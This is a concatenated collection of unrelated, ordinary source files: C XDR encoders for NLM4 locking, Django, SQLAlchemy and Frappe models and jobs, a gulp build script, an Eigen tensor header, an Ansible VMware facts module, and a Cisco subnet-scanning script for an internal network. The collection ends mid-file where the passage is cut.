uint32_t zdr_nlm4_holder (ZDR *zdrs, nlm4_holder *objp) { if (!zdr_bool (zdrs, &objp->exclusive)) return FALSE; if (!zdr_u_int (zdrs, &objp->svid)) return FALSE; if (!zdr_nlm4_oh (zdrs, &objp->oh)) return FALSE; if (!zdr_uint64_t (zdrs, &objp->l_offset)) return FALSE; if (!zdr_uint64_t (zdrs, &objp->l_len)) return FALSE; return TRUE; } uint32_t zdr_nlm4_lock (ZDR *zdrs, nlm4_lock *objp) { if (!zdr_string (zdrs, &objp->caller_name, NLM_MAXNAME)) return FALSE; if (!zdr_nlm_fh4 (zdrs, &objp->fh)) return FALSE; if (!zdr_nlm4_oh (zdrs, &objp->oh)) return FALSE; if (!zdr_u_int (zdrs, &objp->svid)) return FALSE; if (!zdr_uint64_t (zdrs, &objp->l_offset)) return FALSE; if (!zdr_uint64_t (zdrs, &objp->l_len)) return FALSE; return TRUE; } uint32_t zdr_nlm4_share (ZDR *zdrs, nlm4_share *objp) { if (!zdr_string (zdrs, &objp->caller_name, NLM_MAXNAME)) return FALSE; if (!zdr_nlm_fh4 (zdrs, &objp->fh)) return FALSE; if (!zdr_nlm4_oh (zdrs, &objp->oh)) return FALSE; if (!zdr_u_int (zdrs, &objp->mode)) return FALSE; if (!zdr_u_int (zdrs, &objp->access)) return FALSE; return TRUE; } uint32_t zdr_nlm4_testres_denied (ZDR *zdrs, nlm4_testres_denied *objp) { if (!zdr_nlm4_holder (zdrs, &objp->holder)) return FALSE; return TRUE; } uint32_t zdr_nlm4_testreply (ZDR *zdrs, nlm4_testreply *objp) { if (!zdr_nlmstat4 (zdrs, &objp->status)) return FALSE; switch (objp->status) { case NLM4_DENIED: if (!zdr_nlm4_testres_denied (zdrs, &objp->nlm4_testreply_u.lock)) return FALSE; break; default: break; } return TRUE; } uint32_t zdr_NLM4_TESTres (ZDR *zdrs, NLM4_TESTres *objp) { if (!zdr_nlm_cookie (zdrs, &objp->cookie)) return FALSE; if (!zdr_nlm4_testreply (zdrs, &objp->reply)) return FALSE; return TRUE; } uint32_t zdr_NLM4_TESTargs (ZDR *zdrs, NLM4_TESTargs *objp) { if (!zdr_nlm_cookie (zdrs, &objp->cookie)) return FALSE; if (!zdr_bool (zdrs, &objp->exclusive)) return FALSE; if (!zdr_nlm4_lock (zdrs, &objp->lock)) return FALSE; return TRUE; } uint32_t zdr_NLM4_CANCres (ZDR *zdrs, NLM4_CANCres *objp) { if (!zdr_nlm_cookie (zdrs, &objp->cookie)) return FALSE; if (!zdr_nlmstat4 (zdrs, &objp->status)) return FALSE; return TRUE; } uint32_t zdr_NLM4_CANCargs (ZDR *zdrs, NLM4_CANCargs *objp) { if (!zdr_nlm_cookie (zdrs, &objp->cookie)) return FALSE; if (!zdr_bool (zdrs, &objp->block)) return FALSE; if (!zdr_bool (zdrs, &objp->exclusive)) return FALSE; if (!zdr_nlm4_lock (zdrs, &objp->lock)) return FALSE; return TRUE; } uint32_t zdr_NLM4_UNLOCKres (ZDR *zdrs, NLM4_UNLOCKres *objp) { if (!zdr_nlm_cookie (zdrs, &objp->cookie)) return FALSE; if (!zdr_nlmstat4 (zdrs, &objp->status)) return FALSE; return TRUE; } uint32_t zdr_NLM4_UNLOCKargs (ZDR *zdrs, NLM4_UNLOCKargs *objp) { if (!zdr_nlm_cookie (zdrs, &objp->cookie)) return FALSE; if (!zdr_nlm4_lock (zdrs, &objp->lock)) return FALSE; return TRUE; } uint32_t zdr_NLM4_LOCKres (ZDR *zdrs, NLM4_LOCKres *objp) { if (!zdr_nlm_cookie (zdrs, &objp->cookie)) return FALSE; if (!zdr_nlmstat4 (zdrs, &objp->status)) return FALSE; return TRUE; } uint32_t zdr_NLM4_LOCKargs (ZDR *zdrs, NLM4_LOCKargs *objp) { if (!zdr_nlm_cookie (zdrs, &objp->cookie)) return FALSE; if (!zdr_bool (zdrs, &objp->block)) return FALSE; if (!zdr_bool (zdrs, &objp->exclusive)) return FALSE; if (!zdr_nlm4_lock (zdrs, &objp->lock)) return FALSE; if (!zdr_bool (zdrs, &objp->reclaim)) return FALSE; if (!zdr_int (zdrs, &objp->state)) return FALSE; return TRUE; } uint32_t zdr_NLM4_GRANTEDargs (ZDR *zdrs, NLM4_GRANTEDargs *objp) { if (!zdr_nlm_cookie (zdrs, &objp->cookie)) return FALSE; if (!zdr_bool (zdrs, &objp->exclusive)) return FALSE; if (!zdr_nlm4_lock (zdrs, &objp->lock)) return FALSE; return TRUE; } uint32_t zdr_NLM4_GRANTEDres (ZDR *zdrs, NLM4_GRANTEDres *objp) { if (!zdr_nlm_cookie (zdrs, &objp->cookie)) return FALSE; if (!zdr_nlmstat4 (zdrs, &objp->status)) return FALSE; return TRUE; }
import datetime as dt from threading import Thread global __black_listed_days global __months __black_listed_days = [ 'SAT', 'SUN' ] __months = { 1:'JAN', 2:'FEB', 3:'MAR', 4:'APR', 5:'MAY', 6:'JUN', 7:'JUL', 8:'AUG', 9:'SEP', 10:'OCT', 11:'NOV', 12:'DEC', } def __create_download_link(date:int, month:str , year:int) -> str: return f'https://archives.nseindia.com/content/historical/EQUITIES/{year}/{month.upper()}/cm{date}{month.upper()}{year}bhav.csv.zip' def create_link(date:int , month:int , year:int , console_output:bool=False) -> str: """returns a link for you to download from nseindia.com:\n\t IT WILL NOT DOWNLOAD IT!""" try: if (dt.date(year,month,date).strftime('%a')).upper() in __black_listed_days: day= (dt.date(year,month,date).strftime('%A')) raise Exception(f'error: The date given refers to a week-end ( {date}-{month}-{year} is a {day} )') else: month = __months[month] if console_output: print(__create_download_link(date=date, month = month , year = year)) return __create_download_link(date=date, month = month , year = year) except (ValueError, IndexError): print(f'error: {month} is not a valid month number')
from django.db import models class Topic(models.Model): """A topic the user is learning about.""" text = models.CharField(max_length=200) date_added = models.DateTimeField(auto_now_add=True) def __str__(self): """Return a string representation of the model.""" return self.text class Entry(models.Model): """Something specific learned about a topic.""" topic = models.ForeignKey(Topic) text = models.TextField() date_added = models.DateTimeField(auto_now_add=True) class Meta: verbose_name_plural = 'entries' def __str__(self): """Return a string representation of the model.""" return self.text[:50] + "..."
'use strict'; import babel from 'gulp-babel'; import flatten from 'gulp-flatten'; import gulp from 'gulp'; import del from 'del'; import lec from 'gulp-line-ending-corrector'; import rename from 'gulp-rename'; import requirejs from 'requirejs'; import sass from 'gulp-sass'; import trimlines from 'gulp-trimlines'; gulp.task('clean', () => { return del(['dist/**/*']); }); gulp.task('css', ['clean'], () => { return gulp.src('./src/scss/complete.scss') .pipe( sass({ 'outputStyle': 'compressed' }).on('error', sass.logError) ) .pipe(rename({ 'basename': 'ictus', 'suffix': '.min' })) .pipe(gulp.dest('./dist/css')); }); gulp.task('js', ['js-core', 'js-libs', 'js-plugins']); gulp.task('js-core', ['clean'], () => { return gulp.src('./src/js/**/*.js') .pipe(babel({'presets': ['es2015']})) .pipe(lec()) .pipe(trimlines({'leading': false})) .pipe(gulp.dest('./dist/js')); }); gulp.task('js-libs', ['js-core'], () => { return gulp.src([ './src/bower/jquery/dist/jquery.min.js', './src/bower/moment/min/moment.min.js', './src/bower/tether/dist/js/tether.min.js', './src/bower/bootstrap/dist/js/bootstrap.min.js' ]) .pipe(flatten()) .pipe(lec()) .pipe(trimlines({'leading': false})) .pipe(gulp.dest('./dist/js/libs')) }); gulp.task('js-plugins', ['js-core'], () => { return gulp.src([ './src/bower/chart.js/dist/Chart.min.js', './src/bower/notifyjs/dist/notify.js' ]) .pipe(flatten()) .pipe(lec()) .pipe(trimlines({'leading': false})) .pipe(gulp.dest('./dist/js/plugins')) }); gulp.task('rjs', ['js-core', 'js-libs', 'js-plugins'], () => { const rjsModulePaths = { 'bootstrap': './libs/bootstrap.min', 'chartjs': './plugins/Chart.min', 'jquery': './libs/jquery.min', 'moment': './libs/moment.min', 'notifyjs': './plugins/notify', 'tether': './libs/tether.min' }; const rjsConfig = { 'baseUrl': './dist/js', 'paths': rjsModulePaths, 'include': [ 'ictus-core', 'ictus-jquery' ].concat(Object.keys(rjsModulePaths)), //'optimize': 'uglify', 'optimize': 'none', 'out': './dist/js/ictus.js' }; requirejs.optimize(rjsConfig); }); gulp.task('templates', ['clean'], () => { return gulp.src([ './src/templates/**/*', '!./src/templates/handlebars/render-helper.js' ]) .pipe(gulp.dest('./dist/templates')); }); gulp.task('default', ['clean', 'css', 'js', 'rjs', 'templates']);
// This file is part of Eigen, a lightweight C++ template library // for linear algebra. // // Copyright (C) 2014 Benoit Steiner <benoit.steiner.goog@gmail.com> // // This Source Code Form is subject to the terms of the Mozilla // Public License v. 2.0. If a copy of the MPL was not distributed // with this file, You can obtain one at http://mozilla.org/MPL/2.0/. #ifndef EIGEN_CXX11_TENSOR_TENSOR_FORCED_EVAL_H #define EIGEN_CXX11_TENSOR_TENSOR_FORCED_EVAL_H namespace Eigen { /** \class TensorForcedEval * \ingroup CXX11_Tensor_Module * * \brief Tensor reshaping class. * * */ namespace internal { template<typename XprType> struct traits<TensorForcedEvalOp<XprType> > { // Type promotion to handle the case where the types of the lhs and the rhs are different. typedef typename XprType::Scalar Scalar; typedef traits<XprType> XprTraits; typedef typename packet_traits<Scalar>::type Packet; typedef typename traits<XprType>::StorageKind StorageKind; typedef typename traits<XprType>::Index Index; typedef typename XprType::Nested Nested; typedef typename remove_reference<Nested>::type _Nested; static const int NumDimensions = XprTraits::NumDimensions; static const int Layout = XprTraits::Layout; enum { Flags = 0, }; }; template<typename XprType> struct eval<TensorForcedEvalOp<XprType>, Eigen::Dense> { typedef const TensorForcedEvalOp<XprType>& type; }; template<typename XprType> struct nested<TensorForcedEvalOp<XprType>, 1, typename eval<TensorForcedEvalOp<XprType> >::type> { typedef TensorForcedEvalOp<XprType> type; }; } // end namespace internal template<typename XprType> class TensorForcedEvalOp : public TensorBase<TensorForcedEvalOp<XprType> > { public: typedef typename Eigen::internal::traits<TensorForcedEvalOp>::Scalar Scalar; typedef typename Eigen::internal::traits<TensorForcedEvalOp>::Packet Packet; typedef typename Eigen::NumTraits<Scalar>::Real RealScalar; typedef typename internal::remove_const<typename XprType::CoeffReturnType>::type CoeffReturnType; typedef typename internal::remove_const<typename XprType::PacketReturnType>::type PacketReturnType; typedef typename Eigen::internal::nested<TensorForcedEvalOp>::type Nested; typedef typename Eigen::internal::traits<TensorForcedEvalOp>::StorageKind StorageKind; typedef typename Eigen::internal::traits<TensorForcedEvalOp>::Index Index; EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE TensorForcedEvalOp(const XprType& expr) : m_xpr(expr) {} EIGEN_DEVICE_FUNC const typename internal::remove_all<typename XprType::Nested>::type& expression() const { return m_xpr; } protected: typename XprType::Nested m_xpr; }; template<typename ArgType, typename Device> struct TensorEvaluator<const TensorForcedEvalOp<ArgType>, Device> { typedef TensorForcedEvalOp<ArgType> XprType; typedef typename ArgType::Scalar Scalar; typedef typename ArgType::Packet Packet; typedef typename TensorEvaluator<ArgType, Device>::Dimensions Dimensions; enum { IsAligned = true, PacketAccess = (internal::packet_traits<Scalar>::size > 1), Layout = TensorEvaluator<ArgType, Device>::Layout, }; EIGEN_DEVICE_FUNC TensorEvaluator(const XprType& op, const Device& device) : m_impl(op.expression(), device), m_op(op.expression()), m_device(device), m_buffer(NULL) { } typedef typename XprType::Index Index; typedef typename XprType::CoeffReturnType CoeffReturnType; typedef typename XprType::PacketReturnType PacketReturnType; EIGEN_DEVICE_FUNC const Dimensions& dimensions() const { return m_impl.dimensions(); } EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE bool evalSubExprsIfNeeded(CoeffReturnType*) { m_impl.evalSubExprsIfNeeded(NULL); const Index numValues = m_impl.dimensions().TotalSize(); m_buffer = (CoeffReturnType*)m_device.allocate(numValues * sizeof(CoeffReturnType)); // Should initialize the memory in case we're dealing with non POD types. if (NumTraits<CoeffReturnType>::RequireInitialization) { for (Index i = 0; i < numValues; ++i) { new(m_buffer+i) CoeffReturnType(); } } typedef TensorEvalToOp<const ArgType> EvalTo; EvalTo evalToTmp(m_buffer, m_op); const bool PacketAccess = internal::IsVectorizable<Device, ArgType>::value; internal::TensorExecutor<const EvalTo, Device, PacketAccess>::run(evalToTmp, m_device); m_impl.cleanup(); return true; } EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE void cleanup() { m_device.deallocate(m_buffer); m_buffer = NULL; } EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE CoeffReturnType coeff(Index index) const { return m_buffer[index]; } template<int LoadMode> EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE PacketReturnType packet(Index index) const { return internal::ploadt<Packet, LoadMode>(m_buffer + index); } EIGEN_DEVICE_FUNC Scalar* data() const { return m_buffer; } private: TensorEvaluator<ArgType, Device> m_impl; const ArgType m_op; const Device& m_device; CoeffReturnType* m_buffer; }; } // end namespace Eigen #endif // EIGEN_CXX11_TENSOR_TENSOR_FORCED_EVAL_H
""" Base object supporting the storage of custom fields as attributes """ from __future__ import unicode_literals import sys class TroveboxObject(object): """ Base object supporting the storage of custom fields as attributes """ _type = "None" def __init__(self, client, json_dict): self.id = None self.name = None self._client = client self._json_dict = json_dict self._set_fields(json_dict) def _set_fields(self, json_dict): """ Set this object's attributes specified in json_dict """ for key, value in json_dict.items(): if not key.startswith("_"): setattr(self, key, value) def _replace_fields(self, json_dict): """ Delete this object's attributes, and replace with those in json_dict. """ for key in self._json_dict.keys(): if not key.startswith("_"): delattr(self, key) self._json_dict = json_dict self._set_fields(json_dict) def _delete_fields(self): """ Delete this object's attributes, including name and id """ for key in self._json_dict.keys(): if not key.startswith("_"): delattr(self, key) self._json_dict = {} self.id = None self.name = None def __repr__(self): if self.name is not None: value = "<%s name='%s'>" % (self.__class__.__name__, self.name) elif self.id is not None: value = "<%s id='%s'>" % (self.__class__.__name__, self.id) else: value = "<%s>" % (self.__class__.__name__) # Python2 requires a bytestring if sys.version < '3': return value.encode('utf-8') else: # pragma: no cover return value def get_fields(self): """ Returns this object's attributes """ return self._json_dict def get_type(self): """ Return this object's type (eg. "photo") """ return self._type
import os from CiscoIPScanner import Scan from CiscoIPScanner import Connection # from progressbar import progressbar # from pprint import pp testing = os.environ['NET_TEXTFSM'] username = os.getenv('USERNAME') password = os.getenv('PASSWORD') mgmt_ip = '10.39.16.2' devicetype = 'cisco_ios' networks = [ '10.39.18.0/24', '10.39.20.0/24', '10.39.21.0/24', '10.39.22.0/24', '10.39.23.0/24', '10.39.1.0/24', '10.39.4.0/24', '192.168.253.0/24' ] vlans = ['18', '20', '21', '22', '23', '192', '253', '2001', '2004'] # networks = [ # '10.3.0.0/24' # ] # # vlans = ['10'] with open('netscan.csv', 'w+') as file: length = len(networks) * len(vlans) file.write('ip_address,mac_address,status,vlan\n') # vlan_bar = progressbar(vlans, prefix='VLANS: ') # for vlan in vlan_bar: for vlan in vlans: # network_bar = progressbar(networks, prefix='Networks: ') # for network in network_bar: for network in networks: n = network.split('.') intf_ip = f'{n[0]}.{n[1]}.{n[2]}.3' connection = Connection(mgmt_ip, username, password, devicetype) all_hosts = Scan(network, devicetype, vlan, connection, True, intf_ip, progress_bar=True).all_hosts for host in all_hosts: address = host['address'] try: mac = host['mac'] except KeyError: mac = '' status = host['status'] file.write(f'{address},{mac},{status},{vlan}\n')
from enstools.core import check_arguments import numpy as np @check_arguments(shape={"arr": (0, 0)}) def downsize(arr, fac): """ Reduce resolution of an array by neighbourhood averaging - 2D averaging of fac x fac element Parameters ---------- arr : xarray.DataArray or np.ndarray array to downsize by neighbourhood averaging fac : int factor of downsizing, 2D averaging of fac x fac element Returns ------- xarray.DataArray or np.ndarray """ row, col = np.shape(arr) r_small = int(row // fac) c_small = int(col // fac) return np.column_stack(np.column_stack( arr.reshape((r_small, row // r_small, c_small, col // c_small)))).mean(1).reshape((r_small, c_small))
#!/usr/bin/python # -*- coding: utf-8 -*- # # Copyright: (c) 2018, Abhijeet Kasurde <akasurde@redhat.com> # # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = { 'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'community' } DOCUMENTATION = r''' --- module: vmware_about_facts short_description: Provides information about VMware server to which user is connecting to description: - This module can be used to gather information about VMware server to which user is trying to connect. version_added: 2.7 author: - Abhijeet Kasurde (@Akasurde) notes: - Tested on vSphere 6.5 requirements: - python >= 2.6 - PyVmomi extends_documentation_fragment: vmware.documentation ''' EXAMPLES = r''' - name: Provide information about vCenter vmware_about_facts: hostname: '{{ vcenter_hostname }}' username: '{{ vcenter_username }}' password: '{{ vcenter_password }}' delegate_to: localhost register: vcenter_about_info - name: Provide information about a standalone ESXi server vmware_about_facts: hostname: '{{ esxi_hostname }}' username: '{{ esxi_username }}' password: '{{ esxi_password }}' delegate_to: localhost register: esxi_about_info ''' RETURN = r''' about_facts: description: - dict about VMware server returned: success type: str sample: { "api_type": "VirtualCenter", "api_version": "6.5", "build": "5973321", "instance_uuid": "dbed6e0c-bd88-4ef6-b594-21283e1c677f", "license_product_name": "VMware VirtualCenter Server", "license_product_version": "6.0", "locale_build": "000", "locale_version": "INTL", "os_type": "darwin-amd64", "product_full_name": "VMware vCenter Server 6.5.0 build-5973321", "product_line_id": "vpx", "product_name": "VMware vCenter Server (govmomi simulator)", "vendor": "VMware, Inc.", "version": "6.5.0" } ''' from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.vmware import vmware_argument_spec, PyVmomi class VmwareAboutManager(PyVmomi): def __init__(self, module): super(VmwareAboutManager, self).__init__(module) def gather_about_facts(self): if not self.content: self.module.exit_json(changed=False, about_facts=dict()) about = self.content.about self.module.exit_json( changed=False, about_facts=dict( product_name=about.name, product_full_name=about.fullName, vendor=about.vendor, version=about.version, build=about.build, locale_version=about.localeVersion, locale_build=about.localeBuild, os_type=about.osType, product_line_id=about.productLineId, api_type=about.apiType, api_version=about.apiVersion, instance_uuid=about.instanceUuid, license_product_name=about.licenseProductName, license_product_version=about.licenseProductVersion, ) ) def main(): argument_spec = vmware_argument_spec() module = AnsibleModule( argument_spec=argument_spec, supports_check_mode=True, ) vmware_about_facts_mgr = VmwareAboutManager(module) vmware_about_facts_mgr.gather_about_facts() if __name__ == "__main__": main()
import angular from 'angular'; import bungieApiModule from '../bungie-api/bungie-api.module'; import { ActivitiesComponent } from './activities.component'; export default angular .module('activitiesModule', [bungieApiModule]) .component('activities', ActivitiesComponent) .config(($stateProvider) => { 'ngInject'; $stateProvider.state({ name: 'destiny1.activities', component: 'activities', url: '/activities' }); }) .name;
alert("javascript");
from sqlalchemy.dialects.postgresql import UUID from sqlalchemy.ext.hybrid import hybrid_property from sqlalchemy.ext.associationproxy import association_proxy from sqlalchemy.orm import validates from sqlalchemy.schema import FetchedValue from app.extensions import db from app.api.utils.models_mixins import AuditMixin, Base class Permit(AuditMixin, Base): __tablename__ = 'permit' permit_id = db.Column(db.Integer, primary_key=True) permit_guid = db.Column(UUID(as_uuid=True), server_default=FetchedValue()) mine_guid = db.Column(UUID(as_uuid=True), db.ForeignKey('mine.mine_guid')) permit_no = db.Column(db.String(16), nullable=False) permit_status_code = db.Column( db.String(2), db.ForeignKey('permit_status_code.permit_status_code')) permit_status_code_relationship = db.relationship('PermitStatusCode', lazy='select') permit_amendments = db.relationship( 'PermitAmendment', backref='permit', primaryjoin= "and_(PermitAmendment.permit_id == Permit.permit_id, PermitAmendment.deleted_ind==False)", order_by='desc(PermitAmendment.issue_date), desc(PermitAmendment.permit_amendment_id)', lazy='select') mine_party_appointment = db.relationship('MinePartyAppointment', lazy='select', uselist=False) permit_status_code_description = association_proxy('permit_status_code_relationship', 'description') permitee = association_proxy('mine_party_appointment', 'party.name') mine_name = association_proxy('mine', 'mine_name') def __repr__(self): return '<Permit %r>' % self.permit_guid @classmethod def find_by_permit_guid(cls, _id): return cls.query.filter_by(permit_guid=_id).first() @classmethod def find_by_mine_guid(cls, _id): return cls.query.filter_by(mine_guid=_id).all() @classmethod def find_by_permit_no(cls, _permit_no): return cls.query.filter_by(permit_no=_permit_no).first() @classmethod def find_by_permit_guid_or_no(cls, _permit_guid_or_no): result = cls.find_by_permit_guid(_permit_guid_or_no) if not result: result = cls.find_by_permit_no(_permit_guid_or_no) return result @classmethod def create(cls, mine_guid, permit_no, permit_status_code, add_to_session=True): mine_permit = cls( mine_guid=mine_guid, permit_no=permit_no, permit_status_code=permit_status_code) if add_to_session: mine_permit.save(commit=False) return mine_permit @validates('permit_status_code') def validate_status_code(self, key, permit_status_code): if not permit_status_code: raise AssertionError('Permit status code is not provided.') if len(permit_status_code) > 2: raise AssertionError('Permit status code is invalid.') return permit_status_code @validates('permit_no') def validate_permit_no(self, key, permit_no): if not permit_no: raise AssertionError('Permit number is not provided.') if len(permit_no) > 16: raise AssertionError('Permit number must not exceed 16 characters.') return permit_no
"""Backend module for interacting with various databases"""
# -*- coding: utf-8 -*- # Copyright (c) 2017, Frappe Technologies and contributors # License: MIT. See LICENSE import frappe, json, math from frappe.model.document import Document from frappe import _ from frappe.utils import cstr from frappe.data_migration.doctype.data_migration_mapping.data_migration_mapping import get_source_value class DataMigrationRun(Document): @frappe.whitelist() def run(self): self.begin() if self.total_pages > 0: self.enqueue_next_mapping() else: self.complete() def enqueue_next_mapping(self): next_mapping_name = self.get_next_mapping_name() if next_mapping_name: next_mapping = self.get_mapping(next_mapping_name) self.db_set(dict( current_mapping = next_mapping.name, current_mapping_start = 0, current_mapping_delete_start = 0, current_mapping_action = 'Insert' ), notify=True, commit=True) frappe.enqueue_doc(self.doctype, self.name, 'run_current_mapping', now=frappe.flags.in_test) else: self.complete() def enqueue_next_page(self): mapping = self.get_mapping(self.current_mapping) percent_complete = self.percent_complete + (100.0 / self.total_pages) fields = dict( percent_complete = percent_complete ) if self.current_mapping_action == 'Insert': start = self.current_mapping_start + mapping.page_length fields['current_mapping_start'] = start elif self.current_mapping_action == 'Delete': delete_start = self.current_mapping_delete_start + mapping.page_length fields['current_mapping_delete_start'] = delete_start self.db_set(fields, notify=True, commit=True) if(percent_complete < 100): frappe.publish_realtime(self.trigger_name, {"progress_percent": percent_complete}, user=frappe.session.user) frappe.enqueue_doc(self.doctype, self.name, 'run_current_mapping', now=frappe.flags.in_test) def run_current_mapping(self): try: mapping = self.get_mapping(self.current_mapping) if mapping.mapping_type == 'Push': done = self.push() elif mapping.mapping_type == 'Pull': done = self.pull() if done: self.enqueue_next_mapping() else: self.enqueue_next_page() except Exception as e: self.db_set('status', 'Error', notify=True, commit=True) print('Data Migration Run failed') print(frappe.get_traceback()) self.execute_postprocess('Error') raise e def get_last_modified_condition(self): last_run_timestamp = frappe.db.get_value('Data Migration Run', dict( data_migration_plan=self.data_migration_plan, data_migration_connector=self.data_migration_connector, name=('!=', self.name) ), 'modified') if last_run_timestamp: condition = dict(modified=('>', last_run_timestamp)) else: condition = {} return condition def begin(self): plan_active_mappings = [m for m in self.get_plan().mappings if m.enabled] self.mappings = [frappe.get_doc( 'Data Migration Mapping', m.mapping) for m in plan_active_mappings] total_pages = 0 for m in [mapping for mapping in self.mappings]: if m.mapping_type == 'Push': count = float(self.get_count(m)) page_count = math.ceil(count / m.page_length) total_pages += page_count if m.mapping_type == 'Pull': total_pages += 10 self.db_set(dict( status = 'Started', current_mapping = None, current_mapping_start = 0, current_mapping_delete_start = 0, percent_complete = 0, current_mapping_action = 'Insert', total_pages = total_pages ), notify=True, commit=True) def complete(self): fields = dict() push_failed = self.get_log('push_failed', []) pull_failed = self.get_log('pull_failed', []) status = 'Partial Success' if not push_failed and not pull_failed: status = 'Success' fields['percent_complete'] = 100 fields['status'] = status self.db_set(fields, notify=True, commit=True) self.execute_postprocess(status) frappe.publish_realtime(self.trigger_name, {"progress_percent": 100}, user=frappe.session.user) def execute_postprocess(self, status): # Execute post process postprocess_method_path = self.get_plan().postprocess_method if postprocess_method_path: frappe.get_attr(postprocess_method_path)({ "status": status, "stats": { "push_insert": self.push_insert, "push_update": self.push_update, "push_delete": self.push_delete, "pull_insert": self.pull_insert, "pull_update": self.pull_update } }) def get_plan(self): if not hasattr(self, 'plan'): self.plan = frappe.get_doc('Data Migration Plan', self.data_migration_plan) return self.plan def get_mapping(self, mapping_name): if hasattr(self, 'mappings'): for m in self.mappings: if m.name == mapping_name: return m return frappe.get_doc('Data Migration Mapping', mapping_name) def get_next_mapping_name(self): mappings = [m for m in self.get_plan().mappings if m.enabled] if not self.current_mapping: # first return mappings[0].mapping for i, d in enumerate(mappings): if i == len(mappings) - 1: # last return None if d.mapping == self.current_mapping: return mappings[i+1].mapping raise frappe.ValidationError('Mapping Broken') def get_data(self, filters): mapping = self.get_mapping(self.current_mapping) or_filters = self.get_or_filters(mapping) start = self.current_mapping_start data = [] doclist = frappe.get_all(mapping.local_doctype, filters=filters, or_filters=or_filters, start=start, page_length=mapping.page_length) for d in doclist: doc = frappe.get_doc(mapping.local_doctype, d['name']) data.append(doc) return data def get_new_local_data(self): '''Fetch newly inserted local data using `frappe.get_all`. Used during Push''' mapping = self.get_mapping(self.current_mapping) filters = mapping.get_filters() or {} # new docs dont have migration field set filters.update({ mapping.migration_id_field: '' }) return self.get_data(filters) def get_updated_local_data(self): '''Fetch local updated data using `frappe.get_all`. Used during Push''' mapping = self.get_mapping(self.current_mapping) filters = mapping.get_filters() or {} # existing docs must have migration field set filters.update({ mapping.migration_id_field: ('!=', '') }) return self.get_data(filters) def get_deleted_local_data(self): '''Fetch local deleted data using `frappe.get_all`. Used during Push''' mapping = self.get_mapping(self.current_mapping) filters = self.get_last_modified_condition() filters.update({ "deleted_doctype": mapping.local_doctype }) data = frappe.get_all('Deleted Document', fields=['name', 'data'], filters=filters) _data = [] for d in data: doc = json.loads(d.data) if doc.get(mapping.migration_id_field): doc['_deleted_document_name'] = d["name"] _data.append(doc) return _data def get_remote_data(self): '''Fetch data from remote using `connection.get`. Used during Pull''' mapping = self.get_mapping(self.current_mapping) start = self.current_mapping_start filters = mapping.get_filters() or {} connection = self.get_connection() return connection.get(mapping.remote_objectname, fields=["*"], filters=filters, start=start, page_length=mapping.page_length) def get_count(self, mapping): filters = mapping.get_filters() or {} or_filters = self.get_or_filters(mapping) to_insert = frappe.get_all(mapping.local_doctype, ['count(name) as total'], filters=filters, or_filters=or_filters)[0].total to_delete = frappe.get_all('Deleted Document', ['count(name) as total'], filters={'deleted_doctype': mapping.local_doctype}, or_filters=or_filters)[0].total return to_insert + to_delete def get_or_filters(self, mapping): or_filters = self.get_last_modified_condition() # docs whose migration_id_field is not set # failed in the previous run, include those too or_filters.update({ mapping.migration_id_field: ('=', '') }) return or_filters def get_connection(self): if not hasattr(self, 'connection'): self.connection = frappe.get_doc('Data Migration Connector', self.data_migration_connector).get_connection() return self.connection def push(self): self.db_set('current_mapping_type', 'Push') done = True if self.current_mapping_action == 'Insert': done = self._push_insert() elif self.current_mapping_action == 'Update': done = self._push_update() elif self.current_mapping_action == 'Delete': done = self._push_delete() return done def _push_insert(self): '''Inserts new local docs on remote''' mapping = self.get_mapping(self.current_mapping) connection = self.get_connection() data = self.get_new_local_data() for d in data: # pre process before insert doc = self.pre_process_doc(d) doc = mapping.get_mapped_record(doc) try: response_doc = connection.insert(mapping.remote_objectname, doc) frappe.db.set_value(mapping.local_doctype, d.name, mapping.migration_id_field, response_doc[connection.name_field], update_modified=False) frappe.db.commit() self.update_log('push_insert', 1) # post process after insert self.post_process_doc(local_doc=d, remote_doc=response_doc) except Exception as e: self.update_log('push_failed', {d.name: cstr(e)}) # update page_start self.db_set('current_mapping_start', self.current_mapping_start + mapping.page_length) if len(data) < mapping.page_length: # done, no more new data to insert self.db_set({ 'current_mapping_action': 'Update', 'current_mapping_start': 0 }) # not done with this mapping return False def _push_update(self): '''Updates local modified docs on remote''' mapping = self.get_mapping(self.current_mapping) connection = self.get_connection() data = self.get_updated_local_data() for d in data: migration_id_value = d.get(mapping.migration_id_field) # pre process before update doc = self.pre_process_doc(d) doc = mapping.get_mapped_record(doc) try: response_doc = connection.update(mapping.remote_objectname, doc, migration_id_value) self.update_log('push_update', 1) # post process after update self.post_process_doc(local_doc=d, remote_doc=response_doc) except Exception as e: self.update_log('push_failed', {d.name: cstr(e)}) # update page_start self.db_set('current_mapping_start', self.current_mapping_start + mapping.page_length) if len(data) < mapping.page_length: # done, no more data to update self.db_set({ 'current_mapping_action': 'Delete', 'current_mapping_start': 0 }) # not done with this mapping return False def _push_delete(self): '''Deletes docs deleted from local on remote''' mapping = self.get_mapping(self.current_mapping) connection = self.get_connection() data = self.get_deleted_local_data() for d in data: # Deleted Document also has a custom field for migration_id migration_id_value = d.get(mapping.migration_id_field) # pre process before update self.pre_process_doc(d) try: response_doc = connection.delete(mapping.remote_objectname, migration_id_value) self.update_log('push_delete', 1) # post process only when action is success self.post_process_doc(local_doc=d, remote_doc=response_doc) except Exception as e: self.update_log('push_failed', {d.name: cstr(e)}) # update page_start self.db_set('current_mapping_start', self.current_mapping_start + mapping.page_length) if len(data) < mapping.page_length: # done, no more new data to delete # done with this mapping return True def pull(self): self.db_set('current_mapping_type', 'Pull') connection = self.get_connection() mapping = self.get_mapping(self.current_mapping) data = self.get_remote_data() for d in data: migration_id_value = get_source_value(d, connection.name_field) doc = self.pre_process_doc(d) doc = mapping.get_mapped_record(doc) if migration_id_value: try: if not local_doc_exists(mapping, migration_id_value): # insert new local doc local_doc = insert_local_doc(mapping, doc) self.update_log('pull_insert', 1) # set migration id frappe.db.set_value(mapping.local_doctype, local_doc.name, mapping.migration_id_field, migration_id_value, update_modified=False) frappe.db.commit() else: # update doc local_doc = update_local_doc(mapping, doc, migration_id_value) self.update_log('pull_update', 1) # post process doc after success self.post_process_doc(remote_doc=d, 